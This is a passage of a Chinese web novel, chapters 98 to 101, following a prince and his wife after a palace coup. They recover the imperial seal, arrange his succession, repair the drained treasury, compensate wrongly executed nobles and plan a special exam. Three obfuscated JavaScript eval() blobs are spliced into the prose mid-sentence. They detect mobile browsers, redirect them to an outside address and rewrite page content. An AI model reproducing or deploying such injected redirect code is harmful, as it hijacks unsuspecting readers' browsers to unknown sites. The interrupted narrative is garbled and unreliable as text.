谢怀雵只松了手,却把脑袋靠在她颈间,黏黏糊糊地说道:“我都没吃晚饭,当然冷了。” 姜同云顿时有些心疼。 再一看谢怀雵的袖口还沾着黑色的污渍,姜同云就猜他大概是才从曲台殿那边回来。 她叫人去准备热水晚饭,自己掏出帕子,抓着谢怀雵的手给他擦了擦衣袖:“弄这么脏,你去火场了?” 谢怀雵懒洋洋地靠在她身上,任由她摆弄自己的双手:“嗯。谢怀晟到底也算是半个越朝皇帝,我装也得装得上心点吧。” 而且不确定谢怀晟真的死了,谢怀雵也不会放心的。 “找到人了?” “幸亏我们去得及时,孙贤妃没能带着人扑灭曲台殿的火。”谢怀雵低头看姜同云仔细地替自己擦掉黑灰,本来有些烦闷的心情好像也被擦拭过一样,变得好了起来。 “等我们控制住最后那些人,好不容易被扑下去一些的火又烧猛了。所以很不幸,等我们彻底灭了火的时候,曲台殿已经塌了一半了。” 为了找到谢怀晟的尸体,大家都帮着一起去挪开塌下的砖块木梁。谢怀雵也没有闲着,安排好别的地方后就也过去一起干活,所以才会把衣袖弄脏了。 “谢怀晟的运气还算好,虽然被掉下来的横梁砸死,又烧得焦黑,但好歹还是找到了尸体。他的那两位妻妾就比较可怜了,什么都没有留下。”谢怀雵说到这里,抬眼看向姜同云。 姜同云撞上他邀功的眼神,忍不住笑了出来:“好,真是辛苦你了。” 她先前就已经找信得过的人,把钟蘅和宋芷的事情简单告诉过谢怀雵,让他那边帮忙遮掩。谢怀雵的效率倒是也高,直接当众坐实了谢怀晟的死因和钟蘅二人的死讯。 那接下去只要给她俩重新弄个身份就好。 如愿得到夸奖,谢怀雵持宠而娇,干脆就地往下一靠,直接趴到姜同云膝盖上:“我这么辛苦,夫人有没有奖励啊?” 说着,他还努力往前凑了凑。 姜同云勾起唇角:“当然有啦。” 她“啪”地把看到一半的账册盖在谢怀雵脸上,冷酷无情地说道:“奖励你陪我一起对账本!” 谢怀雵顿时僵在原地。 好一会儿后,他才无奈地长叹一声,老实地坐了起来:“好——全听夫人吩咐。” 98. 玉玺 三月份的凌晨透着丝丝寒意。 姜同云披着厚实的斗篷,就着明亮的烛火继续核对手上的账目。 她昨夜和谢怀雵对着账本算到大半夜,谁想才眯上眼睡了一个多时辰,外面就有人来报,说已经抓到了逃跑的孙潜。 这不,天还没亮,谢怀雵就不得不起床去干活了。 一样被吵醒的姜同云也没了睡意,干脆披上衣服继续算账。 这一看就是大半个时辰。 直到姜同云觉得眼睛有些酸胀起来,她才放下手中纸笔,按着自己的太阳穴缓慢地揉捏起来。 这种休息的空隙,姜同云也没有完全放松,脑袋里还在想着别的事情。 按照先前商量过的,天亮之后,谢怀雵就会召集朝臣,宣布谢怀晟已自焚身亡的消息。 朝堂官员之中,像滁州刺史那样的人其实也不在少数。在这些官员看来,谢怀晟做的对不对好不好先不论,只要他是先帝之子那就比谢怀雵更具正统性。谢怀雵如今的做法实质上与谋逆并无差距。 虽然夫妻俩都不在意背上谋逆的骂名,但为了减少后续的麻烦、尽快稳定朝局,该走的流程还是要走,该保护的名声还是要保护。 这也是昨天谢怀雵掌握住皇城之后,没有立刻接手并整顿宫内事务的原因。 当然,不立刻做不代表不做。所以现在姜同云就在思考,接下去她需要做些什么准备。 烦恼之间,杯盏敲击桌面的声音拉回了姜同云的思绪。 姜同云抬头一看,来人竟是谢含昭。 谢含昭见她抬头,便把手中的热茶往姜同云面前推了推:“姜姐姐一夜没睡吗?喝杯茶醒醒神吧。” 姜同云接过茶盏,微烫的杯壁熨帖地驱散了手心的寒凉。见谢含昭眼下也挂着一层淡淡的青黑,姜同云便拉着她在自己身边坐下:“你昨晚没睡好?是不是外面太吵了?” 谢含昭摇了摇头:“外面挺安静的。是我自己睡不着。” 想到她之前那段时间受的苦,姜同云叹了口气,主动揽着谢含昭靠在自己肩上,轻声问道:“是不是还觉得害怕?” 谢含昭鼻尖一酸。 她当然是怕的。 但自打母后病逝之后,谢含昭就知道,已经没有人会来保护自己了。 父皇是会关心她,但两人除了是父女之外,更有一层君臣关系。尤其是在陛下要谢含昭接手公务之后,谢含昭需要时时刻刻扮演好一个优秀的女儿,根本不能有丝毫的松懈。 太子虽是她一母同胞的亲哥哥,但那时他自顾尚且不暇,还得要谢含昭帮着维持他和陛下之间脆弱的父子关系。 太子妃作为嫂嫂无疑是挑不出错的。但她俩能保持这种“完美”的姑嫂关系,靠的就是两人之间不太亲近的距离感。 和她关系好的谢怀雵和姜同云,当时又回去了婺州。隔着一层信纸,谢含昭有再多的话都无法倾诉出口。 她只能自己默默地忍受着。 宫变那日,紫宸殿内血腥的场景深深刻在谢含昭的心里。 她只能通过反复地自我洗脑,把自己心里的恐惧强行扭转成对谢怀晟的憎恨,以此来撑起外表上的坚强。 直到现在,姜同云这样抱着她,轻声问她害不害怕,谢含昭才有种被从冰凉的湖水中打捞上来,重新回到岸上的感觉。 她伏在姜同云肩上,咬着嘴唇摇了摇头,眼角却控制不住地溢出了两行泪水。 姜同云没有说话,只是拉开斗篷,把谢含昭整个裹了进去。 这是在给她悄悄发泄的空间。 谢含昭抱着姜同云,无声但痛快地哭了一场。 外头的天光逐渐变得明亮。 情绪平复下来的谢含昭不好意思抬头,生怕看见姜同云那被自己哭得乱七八糟的肩膀。 她埋着头闷声问道:“姜姐姐,怀雵哥哥是不是打算在今早召集朝臣议事?” 姜同云并没有隐瞒他们的打算:“是。他要宣布谢怀晟的死讯,还要重审吴王等人谋逆一案,洗刷他们身上的冤屈。” 谢含昭语气平静但坚定:“我可以成为人证。” 姜同云顿了顿。她理解谢含昭的想法,但又怕直接参与此案会触及到那些不好的回忆。所以她只拍了拍谢含昭的后背:“如果有需要的话,我们会找你帮忙的。” 谢含昭也知道姜同云这样是为了保护自己,便没有再争:“还有一件事,也许可以帮到怀雵哥哥。” “谢怀晟一直没有找到的玉玺,我大概知道被藏在哪里。” ***** 玉玺一直是由最受先帝信任的大总管甘隆保管,谢含昭当然也不知道它被放在何处。 先帝死前说玉玺的下落只有谢含昭知道,其实只是为了保住女儿一命。 不过被关的这段时间里,谢含昭曾无数次回忆过宫变当日所发生的所有事情。从这些细节里,她找到了一个可能性。 “谢怀晟带人冲进紫宸殿的时候,甘总管出去看药了,当时人并不在殿内。他是后来被禁军的人抓回来的。” 寂静的宫道上,姜同云和谢含昭并排走着,仔细地听谢含昭分析情况。 “按理来说,玉玺应该是在紫宸殿内保管的。但谢怀晟占据紫宸殿这么久都没能找到它,我猜玉玺应该是在宫变当日,就被发现情况不对的甘总管偷偷拿走藏起来了。” “谢怀晟一向傲慢自大,最看不起仆婢,尤其是内监。以他的行事风格,是绝对不会踏足内监们的值房的。” “所以我猜,甘总管就是利用了这一点,把玉玺藏在了自己的值房里面。” 说话间,两人已经走到了距离紫宸殿最近的一处值房。 东头第一间就是给甘隆休息用的。 这里其实也被禁军的人搜查过,里面被翻得一团糟。 只不过没有谢怀晟监督,禁军们办事就也马虎。看上去是都翻了一遍,实际只搜了表面上的家具等物。 因为后来没有人搬进去住,这间值房里还保持着乱糟糟的样子,桌椅翻倒,床板都被掀起竖在墙边。 两人站在门口,朝着屋内环视一圈。 “要不我先让人把东西搬出来一点?”姜同云提议道。 谢含昭想了想:“清点地方出来吧。看这样子,我估计咱们要往房梁上面找了。”毕竟地面能翻的都已经被翻了一遍。 上房梁这种事情,自然不好由她俩来做。幸亏姜同云出门前带足了人。 侍卫们立刻行动起来,清理的清理,找梯子的找梯子,很快就在屋里高处找了起来。 不多时,一个侍卫果然在房梁边上一处墙壁发现了问题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089454|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 抽出墙上松动的石砖后,就露出了后面一处小空洞。 侍卫伸手进去一掏,马上摸到了一个用丝绸包裹的方形物体。 玉玺找到了。 “有了这个,怀雵哥哥应该能省下不少功夫了!” ***** 日头高照。 紫宸殿前一片寂静,被召集的朝臣们不敢说话,只能悄悄交换着眼神。 上次他们被叫来的时候,这些地砖缝隙里的血迹都没干透,处处带着一种诡异的氛围。 然后,就有七名重臣当着他们的面直接被杀。 这次虽然看着比上回平静祥和,但这处宫城昨天才刚刚易主。那位齐王先前看着是挺好说话的,但他都能干出带兵攻打金陵的事情来了,杀起人来肯定不会比赵王手软。 也不知道这次会是谁倒霉。 随着朝臣们的眼神交流,现场的气氛逐渐变得凝滞起来。 在氛围僵到顶点之前,及时赶到的谢怀雵打断了朝臣们朝着惊悚方向一路狂奔的内心戏。 “让诸位久等了。”谢怀雵刚从监牢里出来。孙潜一口气交代了太多,着实耽误了不少时间,也让他差点迟到。 后面事情还多,谢怀雵不想浪费时间跟他们寒暄,开门见山道:“昨日宫内起火的事情,诸位想必都已经知道了。” “赵王逼宫弑君、冤杀手足兄弟和一众忠直良臣。知道事情即将败露,便于宫内曲台殿上焚火自戕。其同党也已被尽数抓获。” 像戚成这种被谢怀晟一手提拔起来的人,昨天也已经被谢怀雵派人暂时关押起来了。 虽然朝臣们对这些事已经有了心理准备,但真听谢怀雵讲起来,他们心里难免一紧:这个同党要怎么算?咱们这些当时没有反对赵王即位的会不会也被打成同党一并清算? 谢怀雵完全能猜到他们会担心什么:“如今朝局动荡、边境不宁。诸位都是国之重臣,本王今天请大家过来,就是想让诸位各尽其职,尽力保持国事平稳,以免给敌人机会,趁虚而入。” “赵王把持朝政以来,多有倒施逆行之举。先前他安排的一切自然需要作废。朝中诸事,暂且先照先帝在时的旧例来办。有劳诸位多辛苦一阵。” 听到这里,朝臣们都愣了。 这根他们预想的情况对不上啊。 齐王已经拿下了皇城和金陵,这个时候不应该趁热打铁,宣布由自己即位掌权吗? 一位朝臣壮着胆子主动开口询问:“这中枢之位多有空缺。若遇上不能自决的大事,是否遵循旧例,报与殿下您来裁决?” 谢怀晟下达的指令如果都被撤回,那他任命的那些重臣自然也不能保留官位。中枢就又会多出七个要紧的空缺来。 按照惯例,如果中枢重臣空缺致使要务无法裁断,一般是会报给皇帝本人来做最终决定。 这已经是在变相试探谢怀雵是否有称帝之意了。 但谢怀雵的态度也非常明确:“若有疑虑,本王会召集朝臣商议。如今大行皇帝一脉后继无人,按照我朝礼制,本王已经派人去请宗室王侯入京,到时候会与诸位共同商定继位一事。” 这是他一早就决定好了的。 多走一道流程虽然费事,但名正言顺能省下很多麻烦。 尤其是在如今这个情况下。 99. 掏钱 送走朝臣后不久,谢怀雵就带着姜同云搬出了皇城,回到金陵齐王府里居住。 在宗室入京商量出继位的最终人选之前,这座宫城暂时不会有新的主人。 不过谢含昭她们暂时都要留在宫里。 先太子妃母女和钟蘅、宋芷她们四人是因为目前没有更好的去处,谢含昭则是主动请缨留在宫里帮忙照看情况的。 有谢含昭帮忙看着,姜同云自然不用为了宫里的事情劳心。 不过,虽然宫里的事情暂时不用姜同云来管,但她在齐王府里也是一点也不得空闲。 谢怀雵带来金陵的两万人马被暂时安置在了金陵城郊。这些人的日常消耗没法走国库的账,目前还得靠姜同云这个后勤大总管想办法解决。 旁的零碎事情也不少。 金陵权贵圈子里的人看着风向,如今都在想方设法地巴结齐王夫妻俩。谢怀雵在前头应付朝臣勋贵,姜同云也躲不了要面对那些金陵贵妇。 就算姜同云再不愿意交际,为了配合谢怀雵安抚人心,她都强打精神应对了。 好在邢国夫人马上就进京了。有她老人家帮忙坐镇,姜同云总算是能松口气了。 四月中,同为太|祖皇帝之后的谢氏宗亲全都聚集在了金陵。 说是共同商议,但其实参加的人心里都有数,现在根本就没有能跟谢怀雵争的人了。 论血缘,在大行皇帝一脉绝嗣之后,谢怀雵就是与大行皇帝血缘关系最近的一支;论声望,别看谢怀雵带兵入金陵招了不少骂名,但这与他击退晋军、收复失地的战功相比,根本无足轻重;最后论实力,谢怀雵如今已是实打实地控制住了京城,那些后来赶到的王侯早就已经没有机会了。 就这样,大朝会散后,由宗室推举出的魏王和代理中书令共同拟旨,加盖被谢含昭找回的玉玺之后,正式向天下昭告,由齐王继承皇位。 ***** 继位的事情已是板上钉钉,姜同云和谢怀雵两人自然又要搬回皇宫里去。 不过在住进宫城里之前,还得先把宫里原本住着的人安置好。 为了省钱和腾位置,谢怀晟一掌权就把大行皇帝的后妃全部送去行宫居住,所以如今宫里住着的都是谢怀晟的女人。 谢怀雵和姜同云都无意为难她们,干脆利落地放了人出宫。 愿意回家的就让她们回家去,无家可回的就多给一笔钱。她们都还年轻,没必要关在行宫里数着日子熬。 然后就是钟蘅、宋芷二人。 谢怀晟的案子还未彻底查清,淮阳侯府目前还在风口浪尖上,钟家自然不好回去。至于宋芷那边,当年她也是被想要攀附谢怀晟的父母强逼着嫁入赵王府去的,对她而言,宋家也不是什么好地方。 两个人都算是无家可归了。 姜同云给她俩伪造了掖庭宫人的假身份,以照料宅邸为由,先把她们送去自己那座空置的乡主府里住着,以免留在宫里不小心暴露了身份。 接下去是先太子妃母女俩。 也不好再这样称呼她们了。 谢怀雵不仅恢复了小郡主的爵位,同时还封了先太子妃为雍国夫人,并在金陵拨了一处宅子给她们母女二人居住。 雍国夫人对这个安排算是非常满意。旨意一下,她就带着女儿搬进了新宅子里。 最后只剩下谢含昭。 其实谢含昭本身是不用安排的。 她楚国公主的头衔一直都在,宫外的公主府也只是被谢怀晟查封过,解封后重新住进去就算完事了。 但对姜同云存了一点自己的小心思。 她精力有限,如果将来想参与朝政,那难免会顾不到后宫里的事情。 就算谢怀雵以后不会有其他女人,但这么大一座宫城、那么多宫人内侍,也是要分出不少时间力气去管的。 这种情况下,有个靠得住的帮手就很重要了。 谢含昭已经管了好几年的后宫事务,对后宫里的事情不说了如指掌,也算得上得心应手了。如果能留她在宫里给自己帮忙,那姜同云就能分出更多的精力去做自己想做的事情了。 抱着这样的想法,姜同云试探性地问了谢含昭的意见。 没想到谢含昭竟一口答应了。 两人一拍即合。 谢怀雵不仅没有反对姜同云的决定,甚至还主动帮她们找了理由——齐王妃对后宫事务不熟悉,需要有经验的楚国公主从旁协助。 于是谢含昭顺利成章地留在了宫里,继续住在她先前住过的宫室里,尽心尽力地帮姜同云打理后宫。 至于姜同云,则腾出手来,开始管更大的账了。 户部。 自打雍国夫人的父亲、原本的户部尚书卢大人被谢怀晟扣上谋逆地罪名杀死后,户部就一直处于一种群龙无首的状态。 尽管谢怀晟马上就提拔了亲信接任户部尚书一职,但他找去的人根本就对户部的事务一窍不通,当初谢怀晟问他国库里有多少钱都答不上来。 那段时间,户部完全就是靠着两位侍郎在硬撑。 后面经历了两国交战等等事情,如今的户部几乎可以说是烂账一堆。 所以谢怀雵掌权之后,第一个就要从户部下手。 他在紫宸殿里召见了户部两位侍郎,仔细询问了这段时间国库的收支情况。 好消息是,因为谢怀雵速度够快,谢怀晟原本想要强制下达的征税政令被及时叫停,国内百姓得以逃过一劫,不至于为将来埋下太大的后患。 坏消息是,就这短短几个月里,国库的银子已经被谢怀晟祸祸了不少。 别看谢怀晟给前线拨人拨钱的时候锱铢必较抠抠搜搜,他对自己那是真大方,一点也不肯受委屈。 光是给他自己和几个宠妃重修宫室,前前后后就花出去快一百万两。 另外,为了证明自己上位的合法性,谢怀晟还要求一定要大办先帝丧仪,以彰显自己的孝心。 因为先帝死得突然,当时陵寝尚未完全修建好。为了赶紧把亲爹下葬,谢怀晟又让户部多掏了一笔钱,多征了一万民夫加紧修建帝陵。 之后,他又以筹备登基仪典为由,从户部强行挤了一大笔银子出来。 这都还没算谢怀晟平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092764|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的那些开销呢! 谢怀雵光听户部两位侍郎述说,都已经忍不住感到头疼了。 但既然说到了钱,那就不能光只给他一个人发愁!谢怀雵当即让人去把姜同云请来前殿。 姜同云原本在侧殿里听谢含昭介绍宫内各局各司的职责,谢怀雵着急忙慌地派人来请,她还以为是出了什么大事,赶紧跑去了前殿。 结果一进去,谢怀雵就把户部侍郎带来的账本往她面前一推,颇为无赖地说道:“夫人快来帮我想想法子!” 姜同云颇有些啼笑皆非。 不过看到还在场的两位户部侍郎,她立刻意识到这是一个绝佳的好机会。 于是赶在户部侍郎开口劝阻之前,姜同云抢先拿起账本翻看起来。 只翻了两页,姜同云立刻就明白谢怀雵为什么要叫自己过来了。 就谢怀晟的这个花法,要是谢怀雵再晚来一个月,国家财政怕是都要直接赤字了! 快速翻看完账册,姜同云转向两位户部侍郎:“近期还有几处需要花钱的地方?” 两位户部侍郎对视一眼,见谢怀雵都没有开口阻止,他俩就老实回答了:“除了齐王殿下的登基仪典和王妃的封后仪典之外,暂时没有大的花销了。” 顿了顿,他们又想起一件事来,连忙补充道:“听说吴王等人被构陷的案子近期也快要结案了。到时候可能还要再支一笔钱,重新安葬几位枉死的亲王公主和朝廷重臣。” 这件案子,在谢怀雵攻入金陵的第二天,就被交给了三司共同审理。有孙潜等人的供认,加上谢含昭这个人证在,案子的审理速度可以说是相当迅速。 等案子审结、为吴王等人正名之后,肯定要将他们的尸骨收敛,以符合他们身份的规格重新下葬。 说到安葬,谢怀雵也跟着小声提了一句:“还有邢国公!” 姜同云沉吟片刻,让两位侍郎先按以往旧例,算个大概的数字出来。 不多时,核算出来的金额就摆到了姜同云和谢怀雵的面前。 谢怀雵看着算出来的数字,沉默了。 姜同云也皱起了眉。 不过她这段时间跟钱打交道比较多,想了一会儿后就直接拿起笔,在户部侍郎列出的清单上勾画起来:“两次仪典的花销俭省一些吧。晚些我让人去库房清点一下,看看一些以前用过的东西都还在不在,倒不用全都做新的。翻新宫室也不必了,这些多余的都可以去掉。” 说着,她快速划了几笔,在自己和谢怀雵的仪典清单删减了不少。 至于葬礼…… “我朝历代帝王都有私库。既然要弥补这些枉死的宗亲大臣,那就不要从国库里出钱了,直接走私库的账吧。” 姜同云火速做出决定。 两位侍郎见谢怀雵频频点头,没有丝毫反对的意思,心里也偷偷松了口气:原本以为这位未来的皇后娘娘是来添乱的,没想到她是个这么大方的主儿,直接掏了帝王的小金库来贴补国库。 直接花皇帝小金库的钱,那可是他们过去想都不敢想的好事。 好人啊!她可真是大好人! 100. 补偿 等户部两位侍郎离开之后,姜同云又找来了负责掌管帝王私库钥匙的内侍。 在她和谢怀雵正式搬入宫城那天,谢怀雵就已经当着宫人的面正式宣布过,往后姜同云也能像他一样随意支取私库里的钱物。 所以当谢怀雵还在处理谢怀晟提拔的那些官员时,姜同云已经粗略地盘过一遍私库的账目,对这个“小”金库的富裕程度有了非常深刻的了解。 经历过四代帝王的积累,还有谢怀晟几个月来只进不出的“节省”,如今宫内的私库比数经磨难的国库要丰裕得多。 姜同云从内侍手里拿过私库账目:“这是我让他们加紧整理出来的,里面都是前两个月里谢怀晟抄家得来的财物。” “既然冤案马上就要查清,这一部分财物也该早点原路退回。” 多少也能算是个补偿。 谢怀雵接过账本翻了两页。看着里面记录的一笔笔“自罪臣某某家抄没”,他的脸色就又有些难看起来。 “今日朝会刚刚商定了如何处理谢怀晟的身后事。”谢怀雵慢慢地翻看着账册,“据孙潜和孙贤妃的供述,先帝去年一直身体不好,也是因为谢怀晟在膳食里动了手脚。加上含昭的证词,谢怀晟弑君的罪名已经无可辩驳。” “犯下如此罪行,朝臣们都同意褫夺他的亲王爵位,将其废为庶人。” “我当时觉得这样也差不多了。但如今看着这些,又觉得罚得实在是太轻了。” 姜同云知道他心里难受,便主动握住他的手晃了晃。 感受到姜同云的安抚,谢怀雵扯出一个笑容来:“我们还是来商量一下怎么退回这些东西的事情吧。” “吴王、卫王、七皇子以及两位受到牵连的公主都是全府被杀,根本没有任何的幸存者。所以我想把他们附葬在先帝陵寝周围,这样也能跟着先帝受些香火。” “至于那些枉死的朝臣,他们尚有族人在世。朝臣们的意思是,诸如梁国公府这种有爵之家,可从旁支选人继嗣袭爵;至于卢相家,则可荫封其族人,以示安抚。” 姜同云想了想:“这两点合乎情理,无可指摘。只是卢相家并非全家遭祸,雍国夫人不也是卢氏之后?还有梁国公府,我记得他们家有两位早年出嫁,随夫外任的姑娘,也不能完全不照应吧。” 不能因为她们都是女子,就理所应当地忽视她们。怎么也该补偿一二。 谢怀雵觉得她说的有道理:“也对。只是朝臣们不一定会同意直接弥补这些出嫁女。那咱们从私库退回的财物就优先分给她们好了。” 虽然钱财弥补不了亲人离世的伤痛,但多少也算是个安慰。 至于这样处理朝臣们会有什么意见,谢怀雵根本懒得搭理。他们管天管地,管得了朝堂上的事,却管不到皇帝的小金库里去。 说到小金库,谢怀雵又想起一件事来。 他往边上让了让,从自己的位置里挤出空隙来,示意姜同云在自己身边坐下:“你真的不要重新修一下椒房殿吗?咱们也可以从私库出钱的嘛。” “都说了要省钱,这会儿从私库出钱算什么道理?”姜同云拨开谢怀雵的衣摆,勉强坐了下去,“再说了,你这里不修,光修我的,人家不得偷偷骂我吗?” “那不一样。紫宸殿才被谢怀晟翻新过呢,椒房殿可没有。” 谢怀晟对自己是一点也不小气,住进紫宸殿后真是从上到下全部重新装饰了一遍,把本就已经足够华美的紫宸殿修得更是金碧辉煌。 但钟蘅原先在住的椒房殿就没有这个待遇了。 和现在的紫宸殿一比,十多年不曾翻新过的椒房殿甚至可以称得上“简朴”二字。 谢怀雵总觉得这样有点太委屈姜同云了。 但姜同云却不这么想。 住一套刚装修好的房子,这种主动当人肉净化器的行为跟慢性自杀有什么区别? 除此之外,姜同云到现在都没大改过椒房殿里的摆设,就是因为不想这么快就抹除掉邓皇后的痕迹。 她想给尽可能地谢含昭保留下一点回忆。 不过这些话,姜同云并不打算告诉谢怀雵。 她拍了谢怀雵一巴掌:“你有空跟我争这些,是已经想好怎么安排朝堂上的空缺了吗?” 这个话题转移的选择果然有用,谢怀雵立刻又愁眉苦脸起来:“还没决定好呢。” 谢怀晟提拔的那些亲信被罢黜官职之后,朝上又空出了好些个要紧的位置来,目前暂时都还是由各个部门的副职在统揽所有事物。 但这只是权宜之计。 接下去要做的事情还有很多,如过不尽快任命人员填补这些空缺,往后谢怀雵推行政令时肯定会受到一定程度的妨碍。 可事情难就难在,如今空出的都是中枢要职。想要担任这些职务,一定要兼具能力和资历,否则恐怕无法服众。 像中书令这样的位置,补一两个就已经够让人为难了,现在可是要一次性补上七八人呢。 谢怀雵处理朝政的时候从来都不会避着姜同云。这会儿她主动问起来,谢怀雵就毫无保留地开始跟她分析情况。 “兵部和户部,我打算先从这两部的侍郎当中选出一人暂代尚书之职。” 这两部能在没有靠谱长官领导的情况下相对平稳地撑过谢怀晟胡来的这几个月,就已经足够证明四位侍郎的能力。如今他们也只不过是缺了些资历,先在代理尚书的位置上做个一年半载的,只要没惹出过纰漏,到时候再正式晋升就不会有人提反对意见了。 姜同云回想了一下今天来的两个户部侍郎,觉得他们表现出来的能力确实不错,便认可地点了点头。 谢怀雵又接着说道:“御史中丞的位置倒是好办。原先那位刘中丞就做得挺好的,把他请回来继续做就是了。” 谢怀雵口中的那位刘中丞也实在难说是倒霉还是幸运。 御史大夫一职空置,御史中丞就是御史台实打实的一把手。按照官职来看,这位刘中丞当日其实应该也在谢怀晟的召集名单之列。 但就在谢怀晟发动宫变前几日,这位刘大人刚好生病了,而且病得还不轻。 于是,告病在家休养的刘大人刚好逃过一劫。 可是既然能被先帝选做担任御史中丞一职,这位刘大人当然也是个耿直性子。病愈后重新上朝的第一天,刘中丞就因为反对大肆翻新紫宸殿,在朝会上直言上谏,从而惹恼了谢怀晟。 气急败坏的谢怀晟当即罢去他御史中丞一职。 刘大人也是硬气,当场摘了官帽、脱了官服,穿着中衣回家去了。 空出来的职位理所当然地被谢怀晟分给了他手下的亲信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097755|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在谢怀雵重新请刘大人回来担任此位,倒也算得上是拨乱反正了。 “剩下来的就是中书、门下和尚书三省,都是些让人犯难的位置。” “中书令的位置,我打算提拔中书侍郎接任。只是这样一来,中书侍郎的位置又要空缺。尚书省和门下省就更麻烦了,四个职务如今全是空缺的。” 姜同云想了想:“空出来的副职,或许可以先从朝臣当中提拔。六部余下四部的尚书不是都还在吗?” 虽然他们可能都比较胆小怕事,但至少资历这块是能够说服其他朝臣的。 “至于正职……”姜同云拖着下巴沉吟片刻,“不妨考虑礼聘一些告老还乡的老大人们来担任?” 谢怀雵丝毫不觉得自家夫人提建议是在干政。 更别提姜同云的提议跟他心里的打算不谋而合。 谢怀雵抱住姜同云,靠着她肩上蹭了蹭:“夫人和我想到一块去了。只是……能安安稳稳地在朝堂上混到回家荣养的官员本来就不多,还几乎个个都是因病乞辞的。真把他们叫回来,多少也是有点为难人家了。” 姜同云忍不住笑出了声。 “别的人不好说,但卫老大人可完全不像是病得干不了活的样子。” 老爷子从杭州寄回来的家书里,几乎每一封都提到了他每天和卫老大人斗智斗勇的过程。 为了按住这个老友不犯拧,老爷子近来可真算得上心力交瘁了。 听到姜同云提起卫老大人,同样看过家书的谢怀雵也忍不住笑了:“还真是。就卫太傅那个精神头,我看啊,再让他多干十年都不是问题。” 笑过后,谢怀雵认真地记了一笔:“那就把卫老大人请回来当侍中吧。” 他在官场历经多年,名望、资历都是响当当的。辞官前官至御史中丞,辞官后还被先帝钦赐太傅一衔,这样的履历表,任谁都挑不出问题来。 “中书侍郎和门下侍郎先从当前四部尚书里挑;至于尚书省的两位仆射,就也在那些恩养在家的老大人里找吧。” 说着,谢怀雵在姜同云脸颊上响亮地亲了一口:“多亏有夫人帮我!这些麻烦事定好,我就能提加开恩科的事情了。” 姜同云还是第一次知道谢怀雵有这个打算,不免有些惊讶:“加开恩科?今年吗?” “嗯。”谢怀雵点了点头,“这也是我刚刚才想到的。乡试和会试原本都是三年一开。然而近两年事情不断,秋闱和春闱都被耽误。考生们实在是等太久了。” 前年的秋闱,因为邓皇后和先太子先后离世,被先帝下令取消;去年那场春闱,也因为先帝身体的原因没有举行。 这么一算,朝廷还真是有好久都没开科举了。 “不过今年临时举行,总会有人赶不及。所以我打算今年先以封后为由,加开恩科,等明年再正式恢复科考。” 不等姜同云说话,谢怀雵就撒娇似的蹭了蹭她:“不许拒绝!你又要削减封后仪典,又不肯花钱重修宫室,要是连这个都不要,别人都会觉得我是故意亏待你了!” 其实姜同云完全没觉得被亏待。不过谢怀雵主动要给她争好名声,姜同云自然不会反对。 而且,正好她也有件事情想要验证一下。 “行,加开恩科可以,但是我有一个条件。” 101. 恩科 五月初,正式举行了谢怀雵的登基大典。 谢怀雵即位后颁布的第一道圣旨,就是昭告天下,替蒙冤屈死的吴王等人翻案正名。 之后的补偿,也都按照事先商量过的,逐一分派到了各家还活着的亲眷族人身上。 不出所料,确实有一部分朝臣对于补偿几户人家里的出嫁女的行为颇有微词,但因为这部分的钱、物都是从帝王私库里出的,他们也只敢私下里议论两句。 之后,谢怀雵又连下数道封赏诏书,包括立后、封赏跟随他的有功之臣以及资助过他的洪、杭两州的富商;除此之外,谢怀雵还遵循旧例,追封了皇后已逝的父母和祖父,还额外加恩,追封了皇后的外祖母。 ——对老爷子的封赏算在功臣之列。由于老爷子明确提出自己不需要加官进爵,谢怀雵最后也只能给他加了一个虚衔以示尊荣。 封赏过后不久,中枢空缺的官职也被陆续补齐。 别看被请回来的几位老大人都上了年纪,但他们的精神头确实都还不差,更有为官多年积累下的丰富经验。在他们的带领下,朝廷各部的运行很快就回到了正轨上。 诸事毕后,谢怀雵又以庆贺封后和选拔人才为由,提议在立后仪典结束后,加开一次会试,以彰显新朝仁德。 对于加开恩科这样的提议,朝臣们自然是不会反对的。 这数道政令传达下后,原本还对新帝抱有几分怀疑的普通百姓们才稍稍重拾了几分对朝廷的信心。 尤其是加开恩科一项,可以说是极大地鼓舞了士人学子们。 虽然谢怀雵上位的过程难免受人诟病,但他在继位流程上的争议性相对较小。加上有前头那位已经被废为庶人的赵王衬托,行事有度、并未逾矩太多的谢怀雵自然就显得可靠起来。 一时之间,金陵城内满是对新帝的赞扬之声,连带着还未正式册封的皇后娘娘都在备考的举人之间赢下了不少的好感。 不过这时的姜同云,确实没空听别人对自己的评价。 “我又写了一版新的,你看看这样行不行?” 姜同云拿着自己刚刚拟好的、正式宣告加开恩科的圣旨草案,给正在批阅奏折的谢怀雵过目。 